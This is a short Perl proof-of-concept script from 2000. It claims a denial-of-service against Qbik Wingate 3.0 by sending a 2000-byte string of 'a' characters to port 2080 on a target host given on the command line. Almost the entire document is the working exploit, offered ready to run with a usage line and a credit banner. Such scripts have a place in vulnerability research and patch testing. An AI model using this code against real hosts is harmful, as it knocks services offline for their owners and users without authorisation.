#!/usr/bin/perl
# Qbik Wingate 3.0 DoS Proof of Concept Code by Zucco
# Based on wingate.py by Prizm
# 2000.06.30

use IO::Socket;

if (!$ARGV[0]) {
  print "Usage: ./wingate.pl <host>\n";
  exit;
}
print "Qbik Wingate 3.0 DoS Exploit by Zucco [http://w3.swi.hu/zucco/]\n";
$konnekt = IO::Socket::INET->new ( Proto => "tcp",
                                   PeerAddr => $ARGV[0],
				   PeerPort => "2080",) or die "Problem with connect\n\a";
$konnekt->autoflush(1);

$a .= "a" x 2000;
print $konnekt "$a";
print "Done.\n";
close $konnekt;